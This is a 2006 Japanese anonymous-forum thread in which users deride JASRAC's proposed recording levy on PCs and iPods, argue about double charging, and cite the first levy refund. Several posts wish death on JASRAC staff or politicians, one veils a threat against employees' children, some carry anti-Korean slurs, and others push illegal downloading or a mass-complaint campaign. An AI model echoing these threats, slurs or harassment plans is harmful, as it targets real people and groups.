125 名前:名無しさん@6周年[] 投稿日:2006/05/20(土) 02:39:57 ID:x1icuq8q0
JASRAC に批判を集めるのは奴らの作戦通り. バカがひっかかる.
本当に問題なのは JASRAC に実行力を与えている政治家.
こいつらを一人ひとり火あぶりにすることが最優先事項


今日、一番のイタい発言を発見wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

130 :名無しさん@6周年:2006/05/20(土) 02:53:09 ID:wlRSpxCh0
>>129
今日、一番ってまだ2、3時間しか経ってないだろうww

131 :名無しさん@6周年:2006/05/20(土) 02:58:45 ID:wlRSpxCh0
>>126
> 立場が違うだけで両者は対称で対等な主張。
> 対称で対等な主張ができてしまう論理ってのは、
> まず公平かつ公正な制度化は成立しない。


ここがさっぱり意味ワカンネ。
高度な主張をしたい気持ちが先走り汁


132 :名無しさん@6周年:2006/05/20(土) 02:59:24 ID:N8BRkaur0
カスラックって具体的にはどこから天下りしてるの?

133 :名無しさん@6周年:2006/05/20(土) 03:07:16 ID:Kb7U5UbG0
>>132
CIA

134 :名無しさん@6周年:2006/05/20(土) 03:10:16 ID:xl9k8ThU0
万が一そうなった場合はパソコンもiPodもみんなネット経由で海外から買って、海外の違法サイトから
mp3もDLするようになるんじゃないの?

135 :名無しさん@6周年:2006/05/20(土) 03:13:50 ID:Wxz7WAn50
PCを対象にするのはお門違い

136 :邪スラック:2006/05/20(土) 03:16:40 ID:C1MYhu9v0
おまいら、音楽聞こえてる?



じゃあ、空気にも保証金を課金するから夜露死苦!

137 :名無しさん@6周年:2006/05/20(土) 03:19:02 ID:C1MYhu9v0
JASRACが違法ダウンロードを後押し!

138 :名無しさん@6周年:2006/05/20(土) 03:27:23 ID:Fw0yNHE/0
デジタル録音補償金制度は役目を終えた。早期の撤廃を求む。

139 :名無しさん@6周年:2006/05/20(土) 03:30:57 ID:a1vBHjV1O
ねえ、実はカスラック内にスパイっつーか反乱者がいてさぁ、
iPodオンリーだとうっかり通っちゃう可能性があるから、わざとパソコンもからめて
おバカな話に留めてるって説はどうよ?

いや、そう考えないとまともな人間の言ってることとは思えないよ…

140 :名無しさん@6周年:2006/05/20(土) 03:40:29 ID:t0t1m4a60
たかりカスラックは死ね。
氏ねじゃなくて死ね。


141 :名無しさん@6周年:2006/05/20(土) 03:42:47 ID:WugUFM4w0
そこまでして国民から音楽を取り上げたいのか
そりゃCD買いたくもなくなるよ、なんかカスラックに負けた気分になるしw


142 :惨事に遭いましょう:2006/05/20(土) 03:45:30 ID:0wXiytzH0
ニュース報道部門賞受賞

・日本音楽著作権協会(ジャスラック)/
使用料1000億円の巨大利権
音楽を食い物にする呆れた実態

週刊ダイヤモンド9/17号
ttp://img.yahoo.co.jp/i/evt/magazine/news/08-1.jpg
ttp://img.yahoo.co.jp/i/evt/magazine/news/08-2.jpg
 

ダイヤモンド社 公式サイト
http://dw.diamond.ne.jp/index.shtml

143 :大魚 ◆ftxn3D3aTo :2006/05/20(土) 03:59:23 ID:b/q567Q90
>>1
もう音楽CDや映画のDVDメディアの無断販売を違法化して、
一次流通物(オリジナルソース)は全部アナログレコードとフィルム販売にでもすれば?

著作権法が資産の生産手段として創造と言う手法を使う製作者が
最低限「人間的な生活を送れる」よう収入を保障すると言う側面を持つ制度であり、
過去の歴史的経緯からも、現行制度が人道的で極めて資本主義的な合理性を兼ね備えているとはいえ、
表現者が自由に話したり歌ったりする権利と同じ程度に、国民には聞く権利(知る権利)があるわけで、
資本家の理屈でこういった権利に踏み込みすぎて、民族文化の根幹を成す肝心の言論表現の自由や
基本的な権利を侵害をしてる今の状況ってのも、どうかとは思うので。

オリジナルには版権名目の転売税でもかければいいだろう。

144 :名無しさん@6周年:2006/05/20(土) 04:13:33 ID:ZCuvY/LB0
JASRACって何なの??
てめえらが音楽作ってるわけじゃないくせに金取るなやカス。
消滅希望。

145 :名無しさん@6周年:2006/05/20(土) 04:17:11 ID:XvXvZdLw0
これはもう、
「家にテレビがあれば絶対NHKが映るから、観ている」
というくらいのレベルのレトリックだろ。

ということは、前例ありってわけだ。

146 :名無しさん@6周年:2006/05/20(土) 07:21:11 ID:4VHXjJ/L0
官僚の天下り先になってて年間に何千万円も金貰ってる
小野清子も理事になってた
何もせずに三千万ほどの報酬貰ってやめたんだろうな

147 :名無しさん@6周年:2006/05/20(土) 07:24:17 ID:TpOZ3KFl0
JASRACという団体の存在そのものが、社会的な害悪そのものってことだな。
国の宝をカビだらけにする文化庁諸共、日本から駆逐しろ

148 :名無しさん@6周年:2006/05/20(土) 07:25:14 ID:NgtFvEK10
自作なので関係ないw

149 :名無しさん@6周年:2006/05/20(土) 07:29:07 ID:CvakD4Jw0
鼓膜に課金しろ

150 :名無しさん@6周年:2006/05/20(土) 07:38:37 ID:WHX7EItiO
実はアイフルより悪質なJASRAC

会計の不透明さは流石天下り団体だけあるw


151 :名無しさん@6周年:2006/05/20(土) 07:42:15 ID:ReaDbiVv0
こいつらは何様なんだ?w

152 :名無しさん@6周年:2006/05/20(土) 07:42:52 ID:F9APbkOW0
聴覚障害者からも徴収しそうな勢いだな


153 :名無しさん@6周年:2006/05/20(土) 07:51:22 ID:Bhr23Osr0
そのうち鼻歌も課金対象になるね

154 :名無しさん@6周年:2006/05/20(土) 07:52:57 ID:NJc/vXBA0
なんでもかんでも課金したいんだったら、税金にすれば良いだろう。(音楽税)

155 :名無しさん@6周年:2006/05/20(土) 07:58:24 ID:hAKOy3yu0
破落戸どもめが、なめてんのか?

156 :名無しさん@6周年:2006/05/20(土) 07:59:45 ID:zUtMyZO50
相変わらずいい燃料だな、JASRAC

157 :名無しさん@6周年:2006/05/20(土) 08:01:08 ID:7jTRhbNqO
こういう事してるくせに印税のピンハネもキツすぎてかなわん。明細が来るたびになんとかなんないもんかと思う。

158 :名無しさん@6周年:2006/05/20(土) 08:14:12 ID:OTRzpyEY0
記憶媒体に課金してもいい法律は、それ以外の方法で課金が出来ないことを前提にした法律。
不合理が存在するにしても音楽家(カスラックではない)の利益を確保しようということ。

ダウンロード時に課金できる状態になったのだから、その課金は本来の主旨に反する。

故にダウンロード時に著作権料を払った音楽にも課金することは大きな問題になる。


159 :名無しさん@6周年:2006/05/20(土) 08:21:01 ID:MRA//S2j0
強欲のやつらはいい死に方、できないだろう。
カスラックのような泥棒野郎にはふさわしい。

しかし、こんな奴らの存在を認めている日本という国も恥ずかしい。
いい加減、利用していないのに料金を払わせる仕組みを作る政治屋どもに制裁を加えるべきだ。
犯罪を合法化する仕組みを止めさせろ。

160 :名無しさん@6周年:2006/05/20(土) 08:22:20 ID:UY6deAMD0
自作PCはどの部品に課金するつもりだ?
CPUクーラーか?

161 :名無しさん@6周年:2006/05/20(土) 08:25:05 ID:JBkIFrf00
というか有料の音楽配信サービスで落とした奴なんてまずほとんどいないし
まともな頭のある人間ならそんなことしないもん
パソコンが壊れたらデーター終わりなんだから。
第一あんなのコピーガードがガチガチで自由に扱えないんだから保証金なんぞや不要。
んなのただの二重取りじゃん

162 :名無しさん@6周年:2006/05/20(土) 08:30:21 ID:CpJLXhm70
メシの種探すのに必死だな
仕事ないんなら解散しろよ

163 :名無しさん@6周年:2006/05/20(土) 08:37:16 ID:9piXGT7R0
「お前は、さっき散歩中に鼻歌を歌ってたからカネ出せ!早く!」
という社会がもうすぐ到来しそうだ。

164 :名無しさん@6周年:2006/05/20(土) 09:05:53 ID:F9APbkOW0
>>163
充分ありうる


165 :○◎∩∞∽:2006/05/20(土) 09:07:00 ID:rIiPQ76Q0
どういう接待社会?

166 :◎◎◎○◎∩∞∽:2006/05/20(土) 09:09:43 ID:rIiPQ76Q0
おいしそう。

167 :名無しさん@6周年:2006/05/20(土) 09:13:16 ID:7OEeqHb0O
カスラックの規制で技術面で日本が遅れをとってるわけだが
保証しろよカスラック

168 :名無しさん@6周年:2006/05/20(土) 09:13:47 ID:1Ec459O+0
違法コピーが行われることを前提に、CD一枚20万円で売れば問題ない。

169 :名無しさん@6周年:2006/05/20(土) 09:14:14 ID:bfa9rkyc0
なんか「電車に乗る奴は皆痴漢だから補償しろ」といってるフェミ連中みたいだな。


170 :名無しさん@6周年:2006/05/20(土) 09:14:32 ID:0ge0xQRw0
すげーこれでHDDに音楽コピーしても罪にならなくなった!

171 :名無しさん@6周年:2006/05/20(土) 09:16:16 ID:1Ec459O+0
http://image.blog.livedoor.jp/dqnplus/imgs/6/3/631fb9a1.jpg
http://image.blog.livedoor.jp/dqnplus/imgs/1/e/1e93d8e9.jpg
こりゃひどい

172 :名無しさん@6周年:2006/05/20(土) 09:18:51 ID:3tehik4c0
PCに音楽なんて一曲も入ってませんが・・・
Windowsの起動音で金とるん?

173 :名無しさん@6周年:2006/05/20(土) 09:19:09 ID:zxHtOwr70
>>169
そうそう、電車の料金に全部上乗せする訳だ、頭いいなカスラック!

174 :名無しさん@6周年:2006/05/20(土) 09:23:32 ID:C1MYhu9v0
これからは記憶媒体である脳に課金します。

175 :名無しさん@6周年:2006/05/20(土) 09:28:02 ID:VhT7Xqkw0
キセルする奴がいるからと、鉄道会社がキセルによって生じたと称する
被害額を切符代に上乗せするみたいなもんだ。いかがわしいにも程が
あるだろJASRAC。

176 :名無しさん@6周年:2006/05/20(土) 09:28:25 ID:IPUPXZb1O
まさしく著作権ヤクザ
カスラック
絶対こいつら身内の事しか考えてないだろ。

177 :名無しさん@6周年:2006/05/20(土) 09:34:25 ID:C1MYhu9v0
>>175
違うな。切符代はCD代みたいなもんだ。切符もCDもその商売を運営する当事者との直接取引だから。
JASRACがやろうとしているのは他人のものに課金しての2重取り。
例えるなら、「お前らが電車に乗ることで電車の床が減るから、流通しているすべての靴に補償金を課金します」
と言っているようなものだ。

もちろん集めた金を床のメンテナンス代には回さずに、JASRACの偉い人たちや役人が私腹を肥やします。

178 :名無しさん@6周年:2006/05/20(土) 09:48:37 ID:y2yUU5pk0
スピーカーに課金します。1W辺り1円/1日。
20Wのスピーカー2本ならば、1ヶ月で1200円になります。


179 :名無しさん@6周年:2006/05/20(土) 09:56:33 ID:UY6deAMD0
インテルのCPUだけに課金しろ
俺はAMD使うから

180 :名無しさん@6周年:2006/05/20(土) 10:01:04 ID:YyBEvKfC0
こんな事ばっかり言ってるとマジで音楽業界死亡するぞ

181 :名無しさん@6周年:2006/05/20(土) 10:03:17 ID:C1MYhu9v0
邦楽の方が高いのは何故?

182 :名無しさん@6周年:2006/05/20(土) 10:04:53 ID:CgZYmj1e0
って事は
俺様の脳味噌に対する保証金は10億か。


183 :名無しさん@6周年:2006/05/20(土) 10:06:08 ID:Oac/QUrtO
もう無茶苦茶だ


184 :名無しさん@6周年:2006/05/20(土) 10:08:38 ID:jcGsPRXU0
紙コップと針で録音出きるからこれらにもかきんするんだろうな

185 :名無しさん@6周年:2006/05/20(土) 10:09:09 ID:blUxn2kJ0
普通に買ったCDからリッピングしてるだけですが、
たまにMusicStoreから購入しますが、
真面目に買ってる層からまた2重取りですか
そうですか。

186 :名無しさん@6周年:2006/05/20(土) 10:11:34 ID:+ItuFKl80
この世に、存在が無意味の人間っているんだな。


187 :名無しさん@6周年:2006/05/20(土) 10:15:47 ID:J3PcoUZB0
>>180
一回滅亡した方がいいと思う。マジで。
修復可能な状態ではない。

188 :名無しさん@6周年:2006/05/20(土) 10:24:42 ID:sIsdxxZJ0
ジャスラックの職員の給料って誰が決めてるのか
天下り団体全般の問題ではあるけど、時給600円くらいにしとけば
必死な役人がいなくなってこんな問題は起きなくなるとおもう

189 :名無しさん@6周年:2006/05/20(土) 10:24:59 ID:oFF9Q2iw0
ジャスラックの課金方法はおかしいですね
店舗の床面積で料金が決まる。
なんで?
著作権使用料は床面積で決まるものなの?
固定資産税やテナント料みたいだなあ
不動産屋にも課金したら?

190 :名無しさん@6周年:2006/05/20(土) 10:25:58 ID:m/k8LXKV0
二重取りされないようにWinnyで落とすよ

191 :名無しさん@6周年:2006/05/20(土) 10:28:02 ID:/xOaGf1J0
カスラックはどうやっても粕なんだし
アーティストやレコード会社に訴えていった方がいい悪寒。

192 :名無しさん@6周年:2006/05/20(土) 10:29:52 ID:El4cJuj10
>>191
私的録音補償金は寧ろそのレコード会社向けにあるもの。
で、大半のメジャーアーティストはレコード会社に飼われている身。


193 :名無しさん@6周年:2006/05/20(土) 10:30:38 ID:DWVJOlxt0
国会質問 協議も無く 小泉に嘆願書で権利者の没後60年が
70年に上げられようとしている。
今回は更に個人利用にまで踏み込み その利権拡大を狙う物である

断固阻止しましょう。議員圧力を加え 国会質問でガンガン飛ばせ

194 :名無しさん@6周年:2006/05/20(土) 10:30:46 ID:bTlxmQwb0
嫌がらせで、音楽用CDをデータ用に使って、補償金返還請求書を大量に送りつけるなんてどうかな?
一人1枚、1万人ぐらいの返還請求書が送りつけられたら、事務経費がかかってしょうがなさそうw


---
もし仮にパソコンにかけたら、企業から大量の返還請求が来るだろうね

195 :名無しさん@6周年:2006/05/20(土) 10:32:34 ID:C1MYhu9v0
>>190
JASRACは暗に違法ダウンロードを推進しているとしか思えん。

196 :名無しさん@6周年:2006/05/20(土) 10:33:38 ID:bTlxmQwb0
>>193
勝手に増やすな。いまは60年じゃなくて50年


---
個人的には、個人も団体も公開後○○年にすべきだと思うな。死後70年に延長って、曾孫まで著作権寄生虫にする気かよ
著作者の保護は兎も角、何の文化貢献もしていない遺族に金渡すのはどうかと思う

197 :名無しさん@6周年:2006/05/20(土) 10:35:15 ID:F8vWmT8P0
>補償金の対象としたい
何の裏づけも無いただの願望。チラシの裏に書いとけば良いのに。

198 :名無しさん@6周年:2006/05/20(土) 10:40:15 ID:BBI0OUcU0
>>160
・ 音楽ファイルをエンコードするプログラムおよびソフトウェア
・ その処理をするCPU
・ エンコードしたファイルを格納・保存する記憶装置(メモリ、HDD、リムーバブルドライブ&メディア)
・ 音を鳴らすためのサウンドカードおよびサウンドチップが乗っているマザーボード、スピーカ
・ 歌詞を表示するためのモニタ
・ これらのハードウェアとソフトウェアを動かすためのOS
・ PCを動かすための電源



199 :名無しさん@6周年:2006/05/20(土) 10:40:18 ID:WCUFiR050
JASRACを潰す手はあるよ

補償金が課金されている音楽用CD-RやDVD-Rに著作権と無関係なデータを焼いて、
JASRACに送りつけて補償金の返還を求めるんだよ。RWじゃだめだよ。
つい最近成功した人がいたよ
郵送代等のほうが高くついてユーザーもJASRACも多少赤字になるんだが、
多人数でやればJASRACは事務処理であっという間にパンクするよ

200 :名無しさん@6周年:2006/05/20(土) 10:41:27 ID:m/k8LXKV0
>>196
著作権者がアメリカ人のばあい60年だがな

201 :名無しさん@6周年:2006/05/20(土) 10:42:23 ID:ZEODJ+pI0
>>199
VIPPERやOFF板住人の出番だな。

202 :名無しさん@6周年:2006/05/20(土) 10:42:45 ID:F3+Ze5KS0
>>199
下の事務処理はパンクはするだろうが
上の方の人間は痛くも痒くもないという…

203 :名無しさん@6周年:2006/05/20(土) 10:43:46 ID:R+e78fMo0
>>199
成功したというソース、もしくは成功する可能性が高いという法的根拠は?
それがデマだったら、JASRACに完全スルーされた挙句
大勢でお布施をする事になるぞ。

204 :名無しさん@6周年:2006/05/20(土) 10:44:16 ID:J3PcoUZB0
>>198
まとめて電気に課金すればいいんじゃね?
オーディオ機器も電気で動くし。
電気代との分離支払いは不可。
支払いに応じなかったら不払いで電気止める。

うはっwwwwww俺様超頭いいwwwJASRAC採用決定!!

205 :名無しさん@6周年:2006/05/20(土) 10:45:38 ID:BBI0OUcU0
>>204
あ、電気に“も”課金しますので。

206 :名無しさん@6周年:2006/05/20(土) 10:49:03 ID:qA2FzI420
>>60
なんだそういうことか

207 :名無しさん@6周年:2006/05/20(土) 10:50:54 ID:0RW/BxpKO
もう面倒くせえから耳にチャージしてくれ

208 :名無しさん@6周年:2006/05/20(土) 10:54:46 ID:rhRreeLW0
>>199
半年後返送が3年後返送に変わるだけでパンクも赤字も無い

209 :名無しさん@6周年:2006/05/20(土) 11:00:30 ID:vwe0NEli0
>>204
電気と言うか、電波にも課金した方がいいな。お前みたいなのにも。

210 :名無しさん@6周年:2006/05/20(土) 11:07:32 ID:bTlxmQwb0
>>200
それ戦前の作品だけだよ。戦時加算。
それに、それなら60年から80年にUPするんじゃないか?

211 :名無しさん@6周年:2006/05/20(土) 11:10:53 ID:bTlxmQwb0
>>203
過去ログなら
http://news19.2ch.net/test/read.cgi/news/1119387533

他ソース

私的録音録画補償金制度で初の返還決定 DVD-R4枚で8円也
http://slashdot.jp/articles/05/06/22/0414259.shtml?topic=72

多くのタレコミを頂いたがその中から yuki-kun曰く、"asahi.comの記事によると、
創設以来13年間、ほとんど知られていない私的録音録画補償金の返還金制度が初めて機能したという。

 私的録音録画補償金は先日のストーリーでも話題になったものだが、録音・録画機材
の購入時に徴収され、著作権者に分配還元される仕組みとなっている。対象によっても
違うが、金額は本体価格の 0.5〜0.65%(上限1,000円)程度。
 これに対しての返還金制度は「個人の創作だけに使って著作権を侵害しない人に補償
金を返す仕組み」で、他人の著作物の複製に使っていないことを証明することで返還が
受けられる。今回 家族の姿を録画したという人からの「DVD-R4枚分の補償金返還」を
求める書類は、80円切手を張った封筒で送られてきたという。

 返還請求者は (社)私的録画補償金管理協会(SARVH)事務局とのやりとりの中で、制度
が知られていないことや、請求者が請求費用を負担するおかしさなどを指摘したとのこと。
事務局は「払わなくてよいものを払わされているとの不満があったのではないか」と話して
いるそうだ。
 また今回はDVD-Rの内容確認は行っていないとのこと。"

212 :名無しさん@6周年:2006/05/20(土) 11:11:09 ID:WCUFiR050
>>203
私的録音録画補償金、初の返還決定
http://tontonsblog.seesaa.net/article/4530309.html

213 :名無しさん@6周年:2006/05/20(土) 11:12:59 ID:Da1SYmhd0
>>208
俺もそう思う
「手続きが殺到しているので返還は4年後になります」とか平気で言いそうだ
やるなら其処から更に電話で催促しまくるとかの詰めが要る

214 :名無しさん@6周年:2006/05/20(土) 11:13:44 ID:Igu4Hzfs0
音楽入ってないHDからも取るの?

215 :名無しさん@6周年:2006/05/20(土) 11:14:53 ID:BBI0OUcU0
>>214
保存“可能”なので取ります

216 :名無しさん@6周年:2006/05/20(土) 11:15:37 ID:TH7rMpyi0
>203
http://www.itmedia.co.jp/news/articles/0506/22/news088.html

217 :名無しさん@6周年:2006/05/20(土) 11:17:21 ID:Igu4Hzfs0
>>215
工エエェェ(´д`)ェェエエ工

218 :名無しさん@6周年:2006/05/20(土) 11:18:35 ID:eDoOa2AK0
つか何重に金取ったら気が済むんだよ

なんかカスラックの2重課税みたいなののコピペあったよなあれ見たい

219 :名無しさん@6周年:2006/05/20(土) 11:20:08 ID:YXNqN9Hi0
えーと、携帯も課金対象になる?
着うたなんか使ってないんですが・・・

220 :名無しさん@6周年:2006/05/20(土) 11:21:06 ID:BBI0OUcU0
>>219
着うたを保存“可能”なのでry

221 :名無しさん@6周年:2006/05/20(土) 11:21:36 ID:SNL03ucr0
JASRACへ上納構造

レンタルする⇒気に入ったのでCD買う⇒PCに録音⇒iPodに転送⇒車用にコピーのCD作る⇒仕事場で流す⇒カラオケで唄う
 ↑                 ↑     ↑      ↑                ↑      ↑       ↑
 搾取               搾取    搾取    搾取              搾取     搾取      搾取



222 :名無しさん@6周年:2006/05/20(土) 11:22:29 ID:rdsFK1Ml0
カスラックってなぁ朝鮮人の団体かよw


223 :名無しさん@6周年:2006/05/20(土) 11:22:39 ID:QPpPG924O
じゃあノートとか紙からも補償金取れよ。
歌詞書くこと可能だろ。

224 :名無しさん@6周年:2006/05/20(土) 11:23:41 ID:bTlxmQwb0
>>211のソースに基づいて計算

DVD-R4枚で8円 だから 1枚2円
これは微々たる物だが

協会側は、それ+
・切手代80円(申請用紙送付)
・銀行振り込み手数料(他行銀行で200円ぐらいか?)
・紙代、事務費用、その他諸々

を負担する必要が出てくる
面倒だからここで1回の返還処理に280円の経費がかかると仮定

280円×1万人=280万円

返還されるのはたった2万円だけど、協会が280万円を取り戻すためには単純計算でDVD-R560万枚が必要。

225 :名無しさん@6周年:2006/05/20(土) 11:25:50 ID:eDoOa2AK0
>>221
それだwサンクス

226 :名無しさん@6周年:2006/05/20(土) 11:26:11 ID:9L51xsvn0
人間の屑(JASRAC)っているんだね…。


227 :名無しさん@6周年:2006/05/20(土) 11:26:26 ID:WmMOaZtXO
やっぱり厨房がカスラックには突撃できなくて
無力を嘆くのは違法なこといっぱいしてるからかな?
関係ないとこにはくだらんことで突撃するくせにな。

228 :名無しさん@6周年:2006/05/20(土) 11:27:25 ID:bTlxmQwb0
ついでに、返還させるんだから利用者負担にするなよということで、着払いにできたらいいんだが・・・
そうすれば、往復160円の経費を相手に支払わせることができる上、こっちは1枚に付き2円の黒字
負担はペンのインクとポストに手紙を出す手間

229 :名無しさん@6周年:2006/05/20(土) 11:32:35 ID:+ATgDS/J0
で、この金はちゃんとアーティスト側に還元されるの?

230 :名無しさん@6周年:2006/05/20(土) 11:34:20 ID:WCUFiR050
>>208
決算で赤字になるって意味じゃなくて、この処理では収入が無く支出だけだから赤になるって意味
3年後返送に変わっても、返還請求者は別に気にしないでしょ
でもJASRACは確実に実施しなければいけない
すぐに業務が行き詰まって破綻するよ

231 :名無しさん@6周年:2006/05/20(土) 11:35:25 ID:9L51xsvn0
>>229
さすがに「全く還元されていない」ということではないらしい。
ただ、どのような基準で配分されているのかとかもよくわからないようだね。
○○の楽曲が使われたといって、100万円とられた人がいるとして、
1円も入ってこない人もいるようだし。

232 :名無しさん@6周年:2006/05/20(土) 11:36:05 ID:0ge0xQRw0
どの業種・業態でも栄枯盛衰はある。
IT機器の発展で音楽配信のシステムが劇的に変化したのに
過去の形態のまま既得権益を守ろうとしても、それは
世間からは異端・業界の悪い部分として捉えられている。
お金儲けは違う方法を考えろ、って事だな。

233 :名無しさん@6周年:2006/05/20(土) 11:38:54 ID:P+ghO2vd0
次はラジオ、テレビ、携帯電話 に補償金

234 :231:2006/05/20(土) 11:40:37 ID:9L51xsvn0
誤 1円も入ってこない人もいるようだし
正 ○○に1円も入ってこない場合もあるようだし

235 :名無しさん@6周年:2006/05/20(土) 11:42:59 ID:93x/qquA0
屁理屈こねる分、暴力に訴えるヤクザより始末が悪いね。
でも彼らも生きていかなきゃいけないんだよ! 理解して・・・あげれませんw

236 :名無しさん@6周年:2006/05/20(土) 11:43:19 ID:JhmgaIrp0
>>465 @前スレ

> 収益金が十分アーティストに行き渡っているなら素晴らしい仕事だと思える。
> 実態はテメーらの高い給料維持するための権利運用だろうがボケ。
> 当初の理念忘れた時点でお前らを擁護する理由なんざ微塵もねーんだよ。

正しくは利権だとオモ

237 :名無しさん@6周年:2006/05/20(土) 11:52:11 ID:KT8ahStKO
ちくわにも課金だな

238 :名無しさん@6周年:2006/05/20(土) 11:59:28 ID:fEOTiYSG0
社員の子供が 秋田の事件のようにならないように 気をつけな ヒヒヒ

239 :名無しさん@6周年:2006/05/20(土) 12:01:59 ID:1C0KdLVC0
JASRACは法的に権限がないけど警察などと癒着して利益を引き出している糞団体

240 :名無しさん@6周年:2006/05/20(土) 12:08:23 ID:QUT2XmGm0
カスラックは本当どうしようもないな。

効果音だすだけで金とるんじゃないか?
文化祭できねーよ。

241 :名無しさん@6周年:2006/05/20(土) 12:16:28 ID:7WJDTEsq0
じゃあ、俺も作曲するから、
お金もらいたいよ。みんなで作曲して
カスにお金請求すればいいんだ。

242 :名無しさん@6周年:2006/05/20(土) 12:17:01 ID:Gh3KNaJK0
問題は音楽を売る人たちが
何を売っているのか不明確なことだ

聞く権利を売っているのか、モノとしてのCDを売っているのか
はっきりすべきだ。

もし、音楽を聞く権利を売っているのなら
「CDを買えば、ケータイの着ウタでもiPodでもダウンロードして聞くことを許す」
「違うメディアに移し変えて聞くことを許す」
のが当然

「再生する機器に課金する」という
勘違いな商売はやめてほしい

243 :名無しさん@6周年:2006/05/20(土) 12:21:22 ID:fOSP3FXm0
出店やテナント内で音楽を流したら、課金されるんだったよな?確か。
チョト前に記事で読んだが、誰か詳細キボン

244 :名無しさん@6周年:2006/05/20(土) 12:24:44 ID:y2yUU5pk0
歌うインコで集客しているペットショップからも取る。
払わなければインコを殺す。

245 :名無しさん@6周年:2006/05/20(土) 12:28:55 ID:vp03WDQJO
ねえ、高校のブラバンとかはきちんとみかじめ料を納めてるの?

246 :名無しさん@6周年:2006/05/20(土) 12:29:19 ID:J3PcoUZB0
つかJASRACの人よ・・・。
会社にある一般業務用PCってよほどのことがない限りスピーカー付いてないって知ってる?
その辺の切り分けどうすんのさ?
一律で課金?中古は?リースは?明確な基準のプランがあるわけ?

アフォが欲に任せて言っちゃった戯れ言としか思えん。

247 :名無しさん@6周年:2006/05/20(土) 12:32:30 ID:NTqN09+W0
>>242
売ってるのは「金を払った媒体について、その曲を聞く権利」だよ

248 :名無しさん@6周年:2006/05/20(土) 12:34:50 ID:FKGyyHoX0
ソース側に課金すれば不公平感はなくなると思うんだがな。
まあ、賤しい人間が金蔓を簡単に手放すとも思えないが。

249 :名無しさん@6周年:2006/05/20(土) 12:35:23 ID:DWVJOlxt0
動くプレイヤ−やスピ−カ−単体でも課金してるだろ
聞ける環境なんて耳があれば課金だ

250 :名無しさん@6周年:2006/05/20(土) 12:38:46 ID:Xvc9oimk0
耳から保証金とれ


251 :名無しさん@6周年:2006/05/20(土) 12:42:21 ID:ZCNlSjyCO
毎度毎度同じようなレスしてて面白いのか?

252 :名無しさん@6周年:2006/05/20(土) 12:48:11 ID:oaLecnEr0
JASRACってアーティストが才能や努力で得た金をピンハネして、
贅沢してる寄生虫みたいな団体でしょ

253 :名無しさん@6周年:2006/05/20(土) 12:48:40 ID:/xzWfSOl0
>>251
たしかに。
でも「脳に補償金」のネタはつい笑ってしまう

254 :名無しさん@6周年:2006/05/20(土) 12:53:16 ID:y2yUU5pk0
全ての音階と擬音を権利化。
音を発する物全てから課金。


255 :名無しさん@6周年:2006/05/20(土) 12:53:22 ID:rr/6eQOs0
音楽CD買った時に支払ってるのに
また支払うの?


256 :名無しさん@6周年:2006/05/20(土) 12:56:15 ID:ZCNlSjyCO
>>252
ピンハネしちゃいけないのか?
権利者に頼まれてサービスを提供してるんだから、対価を取るのは当たり前だと思うが。

257 :名無しさん@6周年:2006/05/20(土) 12:56:47 ID:HSBTRU6Z0
生きとし生けるモノから人頭税として取ればいいじゃん
音を記憶するから補償金の対象として

258 :名無しさん@6周年:2006/05/20(土) 13:00:59 ID:T6yfoHMK0
これは当然の対応だろ。
携帯型ゲーム機や据え置き型ゲーム機
高機能化する家電やデジタルテレビ
全ての端末から補償金を徴収する必要がある。

音楽を聞くにはお金を払う必要がある。
音楽は無料という旧来の悪弊を打破し
音楽は文化ではない。金銭の代価である。
音楽とは金銭である、空気や水ではないのだ。

259 :名無しさん@6周年:2006/05/20(土) 13:01:10 ID:vwe0NEli0
なんだかなぁ。ココの連中は・・・
クズばっかだな。

260 :名無しさん@6周年:2006/05/20(土) 13:04:23 ID:2dNp6TxDO
いやじゃすらっくてさ、Artistが曲作ると脅して契約させるらしい。契約しないとお前の曲垂れ流すぞ とか テレビ局に出演させないぞとか… そのての業者から聞いたから間違いないと思う

261 :名無しさん@6周年:2006/05/20(土) 13:08:06 ID:Ux6XJCJe0
>>258
カスラック構成員乙

ちょっとだだをこねれば、どこからでも補償金
いい商売だな

262 :名無しさん@6周年:2006/05/20(土) 13:20:09 ID:IPi1cY0e0
NHKと一緒だなとオモタ
「TV持ってるなら契約しろ! アンテナがなくてもだ! 私達がそう決めたんだ!」

263 :名無しさん@6周年:2006/05/20(土) 13:21:12 ID:qNmT0JG7O
CD買う時に払ってPCに取り込んだら払って
CDRやポータブル端末に入れてもまた払うの?

最初のCD買った時点で、個人で使うぶんは
払ったことになるんじゃないの?

264 :名無しさん@6周年:2006/05/20(土) 13:25:34 ID:n1EHetc30
死ねチンカス団体

265 :名無しさん@6周年:2006/05/20(土) 13:47:50 ID:fHQK+cDu0
他人の作ったものでここまで金儲けしようとする奴って・・・

266 :名無しさん@6周年:2006/05/20(土) 13:48:58 ID:L+JVViCo0
CDを買う          ← 課金
CDを再生装置に入れる ← 追加課金無し
CDから信号がピックアップに読み取られる ← コピーだから追加課金
読み取られた信号がアンプに届く ← もちろんコピーだから追加課金
アンプから出た信号がスピーカーケーブルに ← これもコピーだから追加課金



音楽が記憶に残る ←  コピーだよね、わかるよね...

#結論、大きな問題を残している。



267 :名無しさん@6周年:2006/05/20(土) 14:13:12 ID:czX0M6wz0
この中にCDはラジカセで聞け親父が紛れてるはず。
ダイヤモンドの件はどーなった?

>>258-259
おい工作員ども、油売ってる暇あるならさっさと制度確立させろグズ(笑)
音楽税という名目でCDに上乗せするんじゃなかったのか?ぷぷぷ

268 :名無しさん@6周年:2006/05/20(土) 14:15:04 ID:/BNXmVkfO
さっさとKasracに改名しろよ
もちろんKはKoreaのKだけどな!!!

269 :名無しさん@6周年:2006/05/20(土) 14:17:18 ID:vwe0NEli0
>>267
おまえ、なんで俺をいれてんの?
空気読めよ。

270 :名無しさん@6周年:2006/05/20(土) 14:19:21 ID:SNL03ucr0
くうき

271 :名無しさん@6周年:2006/05/20(土) 14:19:22 ID:ZCNlSjyCO
>>266
著作権法上の「コピー(複製)」の概念を理解してないと思う。
このスレ、脳みそ足りない人が集まってるようだから仕方がないと思うけど。

272 :名無しさん@6周年:2006/05/20(土) 14:23:48 ID:j18sV3T80
ようはCDに代わる新たな集金先が必要なんです。
天下りの給料と退職金に必要なんです。4645

273 :名無しさん@6周年:2006/05/20(土) 14:24:06 ID:L+JVViCo0
>>271

釣れた

274 :名無しさん@6周年:2006/05/20(土) 14:25:05 ID:Da1SYmhd0
http://music4.2ch.net/test/read.cgi/msaloon/1132215419/l50

ここと意見が大分違うな


275 :名無しさん@6周年:2006/05/20(土) 14:32:44 ID:mMXGH0N/0
ちょっとずつ荒れてきたスレ。

再確認!
